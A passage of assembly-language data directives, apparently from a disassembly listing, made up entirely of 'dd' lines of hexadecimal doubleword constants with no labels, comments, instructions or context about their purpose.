1A252910h, 0A2BF6869h, 0D8E36CC1h, 0AB35E1A8h dd 5A8A6869h, 1E43EF3Fh, 46136875h, 0B23507A4h, 0F6379224h dd 9816D503h, 0BC5DE08Dh, 0B1BD0FEBh, 0F550DCE2h, 0AA5CB9E1h dd 119ABD1Bh, 14B99EDCh dd 8DF31351h, 9ED08A6Eh, 0C06D3061h, 4CB7D860h, 681B607Bh dd 802D00F4h, 66C08B03h, 33F98357h, 86423954h, 763E289Eh dd 0D62EE2E2h, 42C38808h, 0A85ACB67h, 5E7296Eh, 6392D2Ch dd 0A3BAA062h, 0FCCE9BBDh, 0BB2E4E89h, 0FBBE4CB1h, 0F606E04Fh dd 5B904E63h, 817D30B1h, 3F988963h, 5B8D35B3h, 3E8370F2h dd 71B1BD80h, 1C75704Bh, 4A44480Fh, 8ABEC65Fh, 0EB58009Eh dd 9062082Ah, 0D68CE1BDh, 85BAA826h, 0DD52C3BEh, 8CD5A82Fh dd 3CEDEAC7h, 1249170Fh, 1AC7ED15h, 0F5A4909Ch, 961E81BCh dd 0B4CEE1DAh, 2AB271A6h, 0A24AD521h, 2D9EC95Bh, 0C2304A6Ah dd 0A5C72E2Dh, 8317F560h, 0C098C0C3h, 141631F1h, 867ECD7Ah dd 1E1D1959h, 96207B2Eh, 4771C780h, 0FFFC4D08h, 4EEADF21h dd 22303B46h, 0A8E662E9h, 512AFA82h, 83E7951Dh, 5716183h dd 0FA74EBBh, 0D01079EAh, 0BBEEAC05h, 64800A5Dh, 9218F602h dd 52DEE788h, 0B3E0249h, 0DCFBB0F7h, 0A451A6E1h, 0A2AF865Eh dd 0FF6AFE94h, 665BA146h, 920D088Ch, 0BA81085Fh, 9CCCEC00h dd 569E47ADh, 4CDF0F48h, 4109F818h, 47517622h, 64F1585Eh dd 0BEEDFB33h, 2FC22828h, 89CBA75Eh, 0FA36595Eh, 6BC7A17Eh dd 0AB7C1A3Dh, 6AC02812h, 6FE2A89Ch, 0B85AF201h, 42187316h dd 0FE009519h, 58C5F615h, 0C3110920h, 44AF4820h, 437BE1EBh dd 25FE4854h, 3A150E1Bh, 0AD13B211h, 8E001E40h, 2CBF887h dd 1C1C4DE0h, 9DEC5D21h, 1FF8529Ch, 56350C3Ah, 1A7E9E91h dd 0DA8B3543h, 8E0A7865h, 0DF7D59D1h, 10A9C8CDh, 877D0543h dd 0A782C0C8h, 0BBEF3A11h, 8285ADC8h, 4784AF6Ah, 0B44E7876h dd 20227149h, 2C71144h, 192710DBh, 7EC00214h, 7DF165CDh dd 4C711969h, 0AA288608h, 42965DE9h, 0DB6AC8C9h, 0EB23AD82h dd 435BAD28h, 0DE1542A7h, 83235DF9h, 2B1982B2h, 2861AD15h dd 3EF4DBDh, 3A17E681h, 2317DA82h, 824CD69Dh, 209BAC42h dd 0EEBBEAF8h, 77B0D7B3h, 3DDBB0C7h, 0C51DB520h, 4517F29Ah dd 24212F8Ch, 32D3B909h, 0EEA161Dh, 1FBB32BDh, 0B64204D6h dd 6DBC484Dh, 8B60DA53h, 833505C5h, 0D59E4442h, 37BA52A0h dd 0E5F94B1Dh, 4A590551h, 947AFF5Ch, 62B4A471h, 0FDFB184Bh dd 0E8F2CBE8h, 0C4C79E0Dh, 0BC5ABD61h, 37E0489Dh, 0FB523A28h dd 0ACCC0883h, 80D34881h, 0CD0B4B99h, 86105136h, 125A814Ch dd 0DE8BB029h, 0A7F2C40h, 855B5C88h, 846136BBh, 3E2F9E1h dd 460FE7C0h, 2360A13Dh, 8F72F2F1h, 4E16AF9Bh, 0EB4ACF89h dd 62DAA14Ah, 58BBC087h, 72331149h, 0DC89B873h, 0BD2C52C1h dd 3A80A5FBh, 0B5191892h, 47A51143h, 0C071ED1Dh, 1DBCBEA1h dd 0B6AB99B3h, 0BBA2E10Ch, 0F11E5D5Dh, 751DEC69h, 1F632AB5h dd 9BB4DA2Fh, 0DF1F0945h, 0BF5E9B17h, 8D018159h, 5A9067BDh dd 1C280D2Ch, 8263991Dh, 152C28D8h, 42589BD2h, 4E3D3178h dd 5539CA91h, 2D7AA007h, 0AB63A183h, 0B68BDB81h, 0D8F039ADh dd 993CFC4h, 0EC0F2658h, 0DE5D3E8Ch, 4AEB191Bh, 0B49CE7DCh dd 0BAF07B21h, 24D14841h, 0F404C87Eh, 3313C4C1h, 155CA917h dd 0BA410381h, 0DED49584h, 8512F306h, 0AAF1CEB6h, 32F600B3h dd 98DB2244h, 0F4DB480Dh, 0FB4A4BB1h, 0C00CA94Eh, 0DC281DD8h dd 8CA838A3h, 844569CDh, 0C220EE75h, 0BB2EE337h, 0A87CE515h dd 0BEF5459Ch, 0AC78365Fh, 0C15B43C4h, 0AB2CFBA2h, 2A23D2DEh dd 143D0F74h, 0C00E320h, 4785CD41h, 7BB7C04Ah, 0CB5D9BE4h dd 0EA5A2A6Dh, 9E2A8C7Fh, 0BC16C941h, 0AE8C3049h, 6FBE629Fh dd 91FB152Dh, 528CC14Dh, 2C48D12Dh, 0DD2EB269h, 0B130C1CAh dd 113D311Bh, 0AC1B885Ch, 3D6824Eh, 4765752Fh, 0BB67459Ah dd 3897B341h, 1C18F297h, 92F93329h, 0CE267A88h, 9462C70Dh dd 0F68F483Ah, 0F65D3620h, 7EF4FB2Ch, 0E440C8BCh, 0C7CBC3D4h dd 0AB655DE3h, 0AABDD9E6h, 637314Ch, 0E3D053Dh, 9466F1ABh dd 0B8FF023Fh, 0D20CE778h, 0AE659984h, 1EDA6D49h, 16305B62h dd 81DB598Dh, 2B3F3C00h, 6346DE51h, 0B36A031Fh, 0BC343C5Dh dd 0AA342BFh, 0FE160231h, 1AAE69h, 90C10A37h, 82AEEE9Dh dd 8DD2D7Eh, 0D792364Ah, 8237AB35h, 0A9B87598h, 679714EEh dd 7B838FD4h, 26235176h, 73CD763Dh, 0E110C80Eh, 0AC972E9Dh dd 1A3F2C59h, 5ABECBBCh, 9000A955h, 0A201E4C9h, 1202534Ch dd 0DEB75F3Dh, 692C0079h, 90AD314Bh, 916DDEFFh, 468E91E6h dd 0E1FB526h, 0AE92F24Eh, 0FAF4304Ah, 17C05CADh, 66DC6Ah dd 0EE32753Bh, 12449091h, 67BBE4B8h, 0AE8D0FA1h, 76BBD27Ah dd 5E331FA9h, 5A1F9905h, 34CCD86h, 0A5AA3651h, 0C4F547A9h dd 0AC0A9FB3h, 0B820CE1Bh, 9C8AF9B9h, 0A2BF5C71h, 25E05DF5h dd 6E201DC1h, 0F89AD190h, 270B953Dh, 7D4FC2BDh, 0D4F17B92h dd 0E6DED4E3h, 669D01E1h, 52A2C914h, 0B06639C5h, 6AC58875h dd 78693669h, 62A0CE43h, 0EA129462h, 16EB4FA4h, 92C02150h dd 2512A5A2h, 0E35F0170h, 0A26361A3h, 19321D38h, 992BC9A1h dd 0FE8B55B2h, 773B46D2h, 2258073Dh, 0F78CCEBFh, 0E2FF5145h dd 57FEB6B5h, 89C20DABh, 869EA412h, 0A3273013h, 0BEAA4883h dd 0ACECE091h, 2667E91Dh, 0FC33030h, 49F1D638h, 6E33F836h dd 58BE6D28h, 174690D4h, 4007401Bh, 1902C9FFh, 811143FDh dd 0F7B3ECB6h, 33BD180Bh, 0F0D25A11h, 723445B1h, 275BEDBDh dd 0A93A168Fh, 97B8C00Dh, 4BAD6B2Bh, 0C294372h, 0B19DB5B9h dd 0A68CAC58h, 0D035C445h, 0AB24F020h, 0E4263034h, 0F6030949h dd 564B2B94h, 0E8C1200Dh, 2E323111h, 0F73A805Ch, 0EF29CBDh dd 830A010Ah, 0E59EEA82h, 8DFAF8B0h, 0EFB2DBCAh, 0F77ACEB1h dd 0EB24093h, 6872644Dh, 0C35A6CD6h, 859B90F0h, 0A4E085FBh dd 64772CFEh, 7D5A92B5h, 833117DDh, 5ED8B660h, 5F66BDEFh dd 0FF1AA56Eh, 0C9F9E8F3h, 0B36F11E7h, 2F8EBA99h, 0A6252849h dd 7B142960h, 1959A98Bh, 0AB62CD3Ch, 0B7359299h, 3BC9CD9Dh dd 0DC3AB149h, 32CE569Dh, 2F58593Ch, 0BA62CF7Ch, 82BE3721h dd 9AE31EB3h, 0AB55CE12h, 12636BDh, 0AE39E53Dh, 0CCEFBB99h dd 0BB0C2855h, 5A8B4293h, 863131B6h, 0F5FE99EDh, 5747FA80h dd 8600010Fh, 3B82F25Fh, 0F59D29A9h, 0FBC81A3Dh, 62FA1621h dd 5CBE8D4Eh, 0FE2A6941h, 0B0360331h, 0AAFA6642h, 154CAD39h dd 8DB4895Dh, 54BF47BDh, 964BC958h, 4B2F417Dh, 61BEC696h dd 8701BCh, 0FFC610Ah, 4FE91813h, 6CEA6B2h, 0CBBCE6E9h dd 6AF4D614h, 70C4C3AFh, 122237C2h, 901035BCh, 0B6CDD389h dd 7B0BA388h, 193A7A05h, 0BAB0B3CCh, 0C593EFDFh, 0A2DB347Bh dd 54AF7AEBh, 70CF60C0h, 72EEAD3Ah, 6530F9DDh, 6626241Dh dd 0D7F2ED0Ch, 23221976h, 8F079EB5h, 5DCAEAB5h, 0EEC2ECB9h dd 9D16EDFAh, 0DB50D376h, 8C15AEE0h, 4F74CD81h, 0B9CB7244h dd 0A680FFFDh, 125E31D0h, 0B0505821h, 36810135h, 1F251914h dd 6BD3AB5h, 52542970h, 0AB8C3103h, 0FF503427h, 0D839005Ah dd 488B6D62h, 9F322D13h, 4ABA80BBh, 5DBE96BDh, 0A54BA54Eh dd 0BC6859E1h, 0BB34D1F7h, 0F552E373h, 53CA8743h, 781D1B59h dd 5723F911h, 579E49C3h, 202FE534h, 1F653165h, 0F2A0C07Eh dd 0AB35FD4Ch, 0E77D148Dh, 4B1D0D61h, 9F1F333Eh, 0CC00AF80h dd 5C82AB31h, 31533335h, 0D2433D4Ch, 28CD40B5h, 360BC0B5h dd 436CDDF6h, 66617A3h, 33381D0Dh, 5C0405ECh, 944C2AB6h dd 8202E921h, 5E2DB073h dd 98C10D5h, 49108ABCh, 0B2F08914h, 0D323BC6h, 1B213542h dd 28D429C9h, 56CBD1CDh, 5CC3B23h, 4399548Ch, 4309FA5Ch dd 0F4E0E80Fh, 5642959h, 0FF1353C4h, 0BC1BEA58h, 0B45F47D4h dd 49AA0810h, 6D4A1E54h, 7E39780Ch, 52D45321h, 0AA09882Fh dd 5530D304h, 15BC1D21h, 5A169380h, 7E2DAB6Fh, 0AD50B4B5h dd 96C86EDh, 0C07AD121h, 0A9F4D001h, 0C1970B3h, 0B832B9E1h dd 6183982Fh, 6B2F2822h, 0E2C8DD41h, 0DA7CE74h, 3ED9840Ch dd 93F0D0FCh, 0BD34F608h, 603CD76h, 19A3AE52h, 0AEA2041h dd 7F19CB9h, 7E08A9CDh, 0A5E20541h, 4CC6DC3Fh, 0D9A0EC2Bh dd 0BA65C8ACh, 0BF301E9h, 454F6C60h, 95012AA1h, 0A514E344h dd 5B90C77Ch, 0DFFE11CFh, 230E4AE9h, 0AE9B2D5Ch, 60F7B7A0h dd 4701DC7Eh, 0A8D65B84h, 0AEA8A744h, 8EFC0E9Fh, 0CE01C78Dh dd 60249293h, 5362EB6Eh, 0F70AA8Bh, 0DE11DC55h, 0BE5D5D65h dd 0A6BBE215h, 0A7AED62h, 281B522Dh, 5921C563h, 0F7D2EEDDh dd 0EB5C11D4h, 40F0DABDh, 2398697Ch, 6B9A1B1Dh, 98632F60h dd 1B21051Ah, 5F80ED5Ch, 2126C19h, 0D701A765h, 57D8E0FDh dd 0B1D92DBAh, 8B050050h, 3FCB3628h, 1EF13193h, 0E404D278h dd 0D2EAE851h, 508E5Dh, 0A51BE961h, 0BB2EB62Ch, 0A5D9F293h dd 0E50500C1h, 6922371Bh, 0AD2353C5h, 5ABEDD1Ah, 0AA7AAA62h dd 563253FDh, 42D0FA21h, 0BB3553BCh, 469F5AA9h, 41E66F7Ch dd 201A8915h, 0E2210773h, 0BB6892C3h, 7CD8CFE4h, 55DA9D42h dd 0FD23ACB5h, 4DDD6D1Ch, 0AF1960B5h, 0AC6B5963h, 462036DDh dd 77DB513Dh, 8C53D435h, 1F5C145Fh, 57FF7891h, 0BEA08E14h dd 0A672074Dh, 0BE3106AFh, 449A937Ch, 6663DD47h, 40C13341h dd 31FD0703h, 74780ADDh, 0BB2643E5h, 43890F61h, 6DE4E6BDh dd 1A1B5481h, 0B3ECD65h, 1AF4C9FDh, 4024E183h, 0FCF80CE1h dd 0AA20788Dh, 41D14C15h, 42F55C4Fh, 0C082732Dh, 2490021h dd 5EDDA1E0h, 0E6FE5591h, 0AAD3AB16h, 0E1422B39h, 0DE90160h dd 0EC050B78h, 9C46D922h, 0D637D810h, 0A1CF2CFDh, 0E7738975h dd 0D6351524h, 17881A8Bh, 6368A5CAh, 0B77D290Bh, 0C038F60Fh dd 0F3AD3FEAh, 0F28134D2h, 525A1166h, 8C59ABBh, 7AAF7B5Dh dd 93BEA319h, 0AC7E5269h, 0B1FA0A8Ch, 0E3714334h, 0B1971319h dd 2A1A8A7Eh, 0E229E357h, 0BD624D31h, 7EFC3CA1h, 873AB544h dd 0B6F7F017h, 0F02D803Dh, 0A20EF1BAh, 88FECD4Eh, 0E187ACE6h dd 5C14A55Dh, 0FC2369DDh, 2B1E525Dh, 5CB72B59h, 7CCB0011h dd 0A121B7Dh, 0B0E03E63h, 7E22107Eh, 0E993EAB5h, 1EE9396Ch dd 0D37D1C63h, 0B820FD81h, 0BBB6EE4Fh, 0CC3C3175h, 0A2FD1810h dd 22D7E395h, 41FE4D51h, 0B627F87Dh, 0DC92EDFDh, 5363A920h dd 483AE1E0h, 6778F8DAh, 5CBEE54Eh, 88F46931h, 73C7A995h dd 1E19056Eh, 8F7ECF63h, 0AB1AC36Eh, 0F7202A76h, 52BD0135h dd 0B626CA0Ch, 0E223E321h, 0BC2E4D71h, 0A0FC3CBBh, 8D23AD13h dd 5155E319h, 2467E155h, 92322A89h, 4836AB50h, 0FB906DB5h dd 0A2413ECCh, 0C9B3ACD7h, 31350089h, 920AB9D3h, 0A5C2A88Dh dd 220E82B4h, 46DBED91h, 8600B738h, 9CDEF344h, 55334D13h dd 4E5831BAh, 0BEFE413Dh, 5CB4A159h, 7E360089h, 0AB72D31Ch dd 0A2BFCAAFh, 0E68113F8h, 612C4643h, 0AA8100EFh, 4FFD8EFDh dd 572A15CDh, 1F903C75h, 4C251E8h, 97EA5545h, 3A278557h dd 5EB27961h, 0A6E8EDB3h, 3E1F883Bh, 46BA7BAAh, 0BED3CA94h dd 0B6CE3E55h, 0C49533E7h, 0DCAF5563h, 32E7490Fh, 693CDC0Fh dd 44EB743Ah, 4685B6E1h, 7EE6F659h, 4F7C8DDEh, 5E206DFCh dd 0CCB86502h, 70B02345h, 42831291h, 3ECE3D94h, 4784023Fh dd 52520963h, 226D12BDh, 0B3455407h, 21521D15h, 0C7937576h dd 0D0353F2Fh, 448D821Bh, 0BB44F25Ah, 3C8FFEB8h, 9D39A7D3h dd 21207EADh, 9CEC834Ah, 6833ACBBh, 16335A79h, 1812A1Bh dd 8623D51Bh, 24EAE0B9h, 5E33E3C1h, 52BEF50Fh, 0B682D394h dd 0AB936D63h, 56812B1Bh, 5C401594h, 0F1C66D02h, 0A8E35944h dd 61200045h, 0CD86B170h, 5E137D6Dh, 0D6203B51h, 236DE12Dh dd 0ABB74AB3h, 0AAC2ADFDh, 300CB59h, 0BE32CA21h, 708324A1h dd 0A223F537h, 235977BDh, 54BA7F85h, 0F36A6FB5h, 0E80B1130h dd 661933E9h, 0BF2F8F4Ah, 0D066D210h, 0B4EC62BCh, 0C06F137Dh dd 5E3EB977h, 342736A9h, 0AED3C75h, 9CB25D3Eh, 0D2EEEA2Ah dd 0C0A8EE7h, 7E79A53h, 0D95C92E3h, 3E2055C9h, 71385CE1h dd 0EDA18C5Bh, 6263BEC8h, 23FD19CDh, 0EDEF54BBh, 236F9115h dd 0ABB4BA9h, 0A9DC2B64h, 7CA5565Ch, 0A2BFC42Eh, 0B25D14FCh dd 0CC90ECB5h, 493AFD6Ch, 0E2D0B020h, 462AED79h, 6200B70Ah dd 24F72044h, 0F89F6B32h, 0ACCEC231h, 43493144h, 0EF350349h dd 7728CF75h, 0D1CE5D03h, 6C9AF2B9h, 91E8A910h, 0E22EC24h dd 5EC9F6B7h, 73E2EBC9h, 29732947h, 0ABEDBD98h, 0FBCCEDBh dd 6376D30Ah, 9F3AEF41h, 0A65D221Bh, 0CF375957h, 33D610AAh dd 0E313E606h, 12C83507h, 4AF5AE5Dh, 493BFDCCh, 0EF5EA8B4h dd 9E4340B4h, 0A4396821h, 0D61A388Dh, 7C070C97h, 1C22E19h dd 2AAD4BA1h, 40BA9D55h, 9F3D2B74h, 87EB4876h, 0A53A896Fh dd 833CAD38h, 0B4A31D04h, 0B5DC56B1h, 615B639Eh, 5000814Ch dd 0C2990F0h, 31087C7Dh, 0A352B99Fh, 7C056BC7h, 16394A73h dd 6D2775F3h, 4B3D4EB1h, 5C94899Ah, 832D2807h, 0D09AA412h dd 4D727999h, 0E232E221h, 0A34CEE29h, 86B4C535h, 0CAE2A2B5h dd 24DCF361h, 5EC214D6h, 0A722FB80h, 0B3A7F4E7h, 0EF10539h dd 5FB02F0Dh, 0B38E0032h, 0FB3BCA32h, 0F0417DA0h, 47FD2D9Ah dd 4DC23D2Eh, 203089C9h, 0F25A02BDh, 321F2BBh, 23D606Dh dd 7C583369h, 0A1030533h, 960EEA0Fh, 0CDF6561h, 6D2BED6Bh dd 0D3ADE357h, 55773C89h, 77A34014h, 74AD3ABDh, 8ADA42E2h dd 9FAC1AF2h, 26697DEAh, 5BC213B6h, 625BA80Ch, 0E6C12818h dd 7FEDEDF2h, 43FC655Dh, 5C2D695Dh, 3F9F6965h, 351EEFE0h dd 0D7E10DD4h, 0DA251317h, 462C0821h, 5C028F06h, 2EBFD1E9h dd 0CB7D3E7Dh, 0AEDE4863h, 0AA1A5342h, 7470A9D9h, 1EA1058Ah dd 97A9A63h, 0AFAC589Ch, 727D3EC1h, 483A8580h, 4270F938h dd 0B1AAF139h, 0D5B3AC2Fh, 79FEB1FDh, 5CB4E759h, 7EFD0039h dd 0EF4ADD5Eh, 0FC2C103Bh, 22120FF1h, 0B02B1763h, 0BB2D6472h dd 0CC403125h, 0A2C9186Ah, 22E1E399h, 0BCCE4D41h, 25203FF0h dd 22D53140h, 0B7CEF8E7h, 0A59C30FFh, 221E57B4h, 46B2ED01h dd 7600B78Dh, 35DED844h, 7C33F913h, 5CB4D1BAh, 7EF80075h dd 0ABF6D0B8h, 90322A51h, 5EFEA942h, 615C1548h, 0AA050043h dd 547290BFh, 5D54296Dh, 0BC738703h, 0F2011D3Dh, 5CB47059h dd 7C820059h, 4212019Ah, 2BBF88BDh, 0AB6344F1h, 53209332h dd 1FC92949h, 0AF7D2A34h, 1416CC61h, 0A622077Fh, 7D90F4B5h dd 513D2D6Ch, 0B791A920h, 0BABD31F7h, 8E26850Ch, 1F3B7361h dd 0DE26D83Dh, 7C530095h, 2AE303BBh, 7369A99Dh, 5CB93AAEh dd 7E810081h, 0AC6AD385h, 0E9322AD8h, 5F72A94Bh, 248D15CFh dd 6AF0A771h, 0D41E6C6Fh, 0E298B9ECh, 0A5D608C4h, 332B894Fh dd 702C235Fh, 0BBB3EE4Fh, 0CB0431EDh, 0C62D391Ch, 0E21AE321h dd 0BCA24D73h, 55FC3CB4h, 943ABD44h, 0E6B45705h, 718BEBB5h dd 6977A6B5h, 79B4B9ADh, 4026F6D5h, 0F5BB74B3h, 22F40134h dd 0A23ACD25h, 0E93B7766h dd 417AA177h, 0B7738E59h, 3CE03EAh, 6C771E3Dh, 23F533BFh dd 8623ADE8h, 0DDC6C0D0h, 18F95F9Dh, 0E9C50E04h, 177EF01Ch dd 6ECD10F8h, 0E9C5304Bh, 0ECFEFDEDh, 1F6DEF6Fh, 4A137639h dd 0BBEF0F8Eh, 7A2C297Dh, 262CFB75h, 0C8D2ED63h, 0BB01EE4Eh dd 7A5A2969h, 535DA897h, 297BFEB4h, 22EFF744h, 595F688Dh dd 0E4ED3144h, 481A305Eh, 5378B345h, 6F033BB4h, 4B052550h dd 779FAB4h, 0BCC7BAC3h, 0E6AFC14Dh, 0ED65B16Dh, 4BC99990h dd 195A9C71h, 6C21FBA7h, 6D143A61h, 1678DB9Ch, 5FC5535Fh dd 6E16F90Dh, 8D336862h, 0E5EA8062h, 0EC72AD4Ah, 0C82C0661h dd 2179E31Dh, 52C385Fh, 85FE7081h, 60FC0907h, 0B1890EB1h dd 4B7A7D63h, 0D7209D81h, 0AD64024Fh, 0C0BA96B5h, 3E26690Ch dd 0DEB5E321h, 3AE330EDh, 0BD39DEB4h, 22AAB1C4h, 0AAA1F904h dd 0BBAEE339h, 0CB6CD7Bh, 0A510303Dh, 0BC7C816Ch, 0CC293125h dd 0A2D1183Ch, 7ABAADA0h, 0BBD262B7h, 0BC38C497h, 5EB82A7Ch dd 3F33A150h, 0D02E2041h, 40A3CD4Dh, 0B8312AFDh, 7ABAE5B8h dd 0A1169061h, 76033EDFh, 0B2E0BB44h, 0A2F111BDh, 6186AC22h dd 632E944h, 0B23C6AD4h, 6F00AD61h, 5B5E9DFDh, 612CE743h dd 0AA0D00C8h, 9FCA905Eh, 89C11D4Dh, 2AE203BAh, 774BAD5Dh dd 9EFF0D5Dh, 0FC350144h, 0B60A34D3h, 22BF6BBDh, 6B7722AFh dd 0B7EA9D3Dh, 0A600AAA3h, 0A0DE8444h, 20322D13h, 31CBD2BBh dd 0B0802523h, 1F5399ECh, 7831FBD6h, 6DD52B4Bh, 0E03D33BDh dd 0E191FFCh, 2FFFEFE9h, 0B9213B79h, 20FFADEBh, 9971427h dd 756D703Dh, 0CFDB0E4Bh, 2529E6h, 0E2D579C0h, 2A59446h dd 0B987F626h, 0CAB1CAF5h, 11B8B5C4h, 251DA47Fh, 7C5DFADh dd 1525592h, 0FEBF6FB8h, 0C63DE3A9h, 9036EED2h, 5E83BDBBh dd 10258E9Dh, 809757BDh, 0B7E1344Ah, 43372BCBh, 0C4613CEBh dd 0EA8ACEA3h, 0CA2350F3h, 73B7BC72h, 83F47479h, 0AF8577F5h dd 6FF01330h, 4F49B2EAh, 0BE7C015Ah, 430F3B6h, 0BBF2EBF0h dd 0BC27717Dh, 5517B60Dh, 0EB0A92F6h, 0BD397224h, 25F9CCF5h dd 0F1EEF26Fh, 16FBFF9Ch, 0C619C344h, 4D193CCCh, 0DA51F320h dd 847C9464h, 8A0C925Dh, 0AC72AAB4h, 0EBFFB8Dh, 1E30294Eh dd 9ECF6C61h, 0AE3FBCE4h, 8C0CBB24h, 43848D9Ah, 0AD86F0D3h dd 8BEB540Eh, 6CB98068h, 3E3309Ch, 71A7B00Eh, 869A4D3Ch dd 24FFCC11h, 39378F75h, 3AC3940h, 12EBBE0Bh, 1B7E397Dh dd 0FCF3D2BDh, 0B1920011h, 1F0B292Dh, 66DD28BFh, 425A0D44h dd 0A4B7E998h, 3FBC0A9Dh, 1FBBAEA7h, 0B9C8D9D5h, 0C339B4B6h dd 0E72F6D10h, 42E40D03h, 9F0031C1h, 90062969h, 0C6E13199h dd 179F7E3Bh, 30EB50B3h, 48DE86ADh, 615AF3D1h, 118C0D3Dh dd 6D78C3ADh, 0CC224074h, 370A0EB1h, 0D204CC43h, 0B64D097Dh dd 5F5B32E9h, 45C4BCDCh, 3035E54Bh, 1CEDEA41h, 56CF71FCh dd 6CC30050h, 0F13E3DE1h, 0ABE36661h, 0AA3854DDh, 87805541h dd 0F124E07Ah, 0BD51D767h, 0F5A30EF6h, 0DA220647h, 0AE582098h dd 675B91Dh, 6B1421F7h, 3FFE61F4h, 0D6903ED6h, 600C49E5h dd 5DC1115Ch, 3551046Ch, 3FE8472Ch, 922EA861h, 419CA61Bh dd 775D4BDh, 0AC533A1h, 0DF73560Dh, 39E3F747h, 9BE3976h dd 2C7B1095h, 0BB1EB6B7h, 5AC03091h, 16495963h, 8A3131FAh dd 0FABCBE97h, 0CFD8F078h, 8760DF55h, 0BCE89297h, 7F8D5D5Bh dd 7D5506F0h, 11BE76A9h, 0B032AE62h, 2201B0B5h, 8A22197Dh dd 0B6545563h, 0FA0EE1F3h, 0AE80B495h, 0F4E603F6h, 0A63AEC78h dd 0E65BE095h, 485364A7h, 5CD2F9A4h, 443377A9h, 545B9F74h dd 314BC0C3h, 25496987h, 2327611Dh, 9E46F6C2h, 0BF6DC629h dd 0F6C3A0FBh, 7213027Fh, 0ECEEDB30h, 9D050EBBh, 0AAFEAFFDh dd 5F8BAAE7h, 0A63B0891h, 383C1961h, 0FA3EABF7h, 0EABE6765h dd 680A1AA1h, 42C7ABA3h, 5F0B5C01h, 0B2E7AD49h, 2455DE27h dd 82D70178h, 0A5CC26h, 0DE4ADEACh, 0ABD10951h, 6650ED79h dd 250C31D9h, 16F08ABFh, 735978BDh, 3492372h, 2D64773Dh dd 261DEF2Dh, 0AF439C44h, 6F7A425Dh, 39F44403h, 4F33BCFFh dd 0D4510140h, 9BC6AC20h, 8BA54BE8h, 519C4A1Ch, 8DAD305Dh dd 3612BDF6h, 90336266h, 67CDAD7Ah, 0AE51A114h, 1ED05D1Ch dd 65E83721h, 0DADB953Ah, 0FA1C864Dh, 0AA49083Dh, 5F5AFF4Bh dd 275FC856h, 5F287CA7h, 0DE012EBAh, 1D16530Bh, 80E482CDh dd 0EB769E03h, 16334F84h, 2B91000Fh, 0F2C24E7Dh, 5D77793Dh dd 5A26F4AAh, 5BF5EB4Eh, 2A3266DFh, 8CC68092h, 5BD37AB9h dd 8D21653Eh, 23778515h, 0A2B634C6h, 33DF52C9h, 82383DA4h dd 420E25Eh, 0B8A30141h, 66D5684Dh, 1D7F4EB2h, 0C647E431h dd 0C1862C5Ah, 372A7DF9h, 3DBCDF17h, 1FAFF962h, 0A71FB584h dd 3E0B157Ch, 0C7F8FB29h, 0E7126A54h, 53EE35B4h, 0BDB86F2Ch dd 5A3EE99Ah, 45466349h, 0B4CFE4B3h, 0E752CEBAh, 931C3DC9h dd 25ADD079h, 0AEEF7456h, 525D1233h, 5591F89Eh, 0A3DB35B3h dd 6C2AF6AAh, 0AB39163Bh, 0D721A902h, 0C35D99B3h, 9EB6B995h dd 5F0A0D6h, 0A873D07Dh, 3491411Dh, 0B39D8F27h, 83377AB4h dd 0BADEE37Dh, 4602CDF3h, 7096E1D4h, 2ED0231h, 8B1E89EDh dd 0B83FB874h, 5E072B59h, 0A2997568h, 20929261h, 439AF072h dd 6D333D59h, 499AB378h, 0FA750E16h, 0FAD13C81h, 70F9FE4Bh dd 23DE8A2h, 0DB15EA0Dh, 9B79591Ah, 36F9049Dh, 6317254Ch dd 5E9A5241h, 0AEBD5569h, 0F9C7359Ah, 24F21C3Bh, 0B602B573h dd 3849D123h, 0F93A22F9h, 8E99569Ch, 6490A8AAh, 47FB74CBh dd 3F5C2EA9h, 0C371989Ch, 43AF3763h, 7F3FA8CCh, 0D21AFA3h dd 729FC8BCh, 56B52A5Eh, 66821A0Ch, 271A622Fh, 3483B2B8h dd 9AFCF81Bh, 32E34633h, 0E138DF5Ch, 0AD402971h, 0EF96B422h dd 4E3E08A6h, 5EF5DD9Ah, 0A6053AD9h, 7134603Ah, 5C6A6122h dd 53F002CDh, 9332B64Eh, 88E1E15Fh, 3C0BDC2Eh, 88B624C0h dd 0C17A694Ch, 896B96D9h, 634AB1FEh, 8ACE3CBFh, 0F8BA6AD3h dd 671393ACh, 0D2F8EC29h, 0E3D205Dh, 0BD05A155h, 5C0D0AF0h dd 3E75A566h, 667336B7h, 89CAF12Dh, 0BFF3F7ABh, 0E9E997D6h dd 0D69700BDh, 668486Dh, 3D4F2A3h, 9C32FFB9h, 5030F721h dd 62009A76h, 0E385A043h, 79330974h, 61BD295Eh, 61E659E8h dd 97366D0Eh, 8C72D75Eh, 0CB3A5A29h, 0EAE6EE7Dh, 6ECEAC1Dh dd 92E6A5A6h, 0F32509D9h, 0F9D98276h, 0F2E9276Ah, 0BDB65A29h dd 0E9FEF6EAh, 4716FBBh, 7A990391h, 8B14357Dh, 1115EA18h dd 0CF75D2AEh, 4F4E4FF9h, 0F34B32EDh, 95E6B594h, 649B6C88h dd 0D1BA98F9h, 0AE552801h, 0A422B630h, 2AB038A9h, 46583404h dd 223AD330h, 0B76A8411h, 6A41DC46h, 3E8446E0h, 76939CE9h dd 0AD7D0574h, 4C36843Dh, 961965C2h, 969A792Fh, 95C90021h dd 0AF23B946h, 2A232F31h, 0A2CC6CE6h, 0BD006BC5h, 0C201F7Ch dd 96A6A969h, 2049A575h, 0F2DCE798h, 0AC78E984h, 7F077268h dd 833225C3h, 9F84B0DAh, 0F213A69Dh, 0DA5DAC8Eh, 61AE3FD0h dd 1E353613h, 0BE10AFB7h, 132332A1h, 90A0AA5Ah, 3A2AF897h dd 2A13B358h, 268E38ABh, 0AB9234C5h, 0BF43ECF8h, 0C3E54B49h dd 8E142918h, 7410E41Dh, 0AA368C59h, 7E2D2F7Dh, 0BEBB0D45h dd 0BC4E9277h, 622728FCh, 70D2C6Fh, 1F30EC6Ah, 0DC3E0B49h dd 4B2A5B39h, 0B63AB4FCh, 722045AAh, 0E09602FCh, 0B3481163h dd 68BE6FDEh, 0C48A3FC7h dd 52EB7A55h, 11E2CACDh, 0B83B57A3h, 0B974FA87h, 82E20001h dd 62BEE784h, 0E252AA0Eh, 8A7CA8C5h, 0C0743DFDh, 9B3A5634h dd 0F9432355h, 8AEF0061h, 2EF2BEBh, 6BE07479h, 0C8FEF07Eh dd 0B78C349Bh, 4E6CB033h, 282F4308h, 0BE2336DDh, 9EE3E415h dd 30B63692h, 634A0DC4h, 0B3320E87h, 0A2AAF4BFh, 1FEE91A6h dd 9F25F79Dh, 0FF576Fh, 0B23C994Dh, 0AAFA9925h, 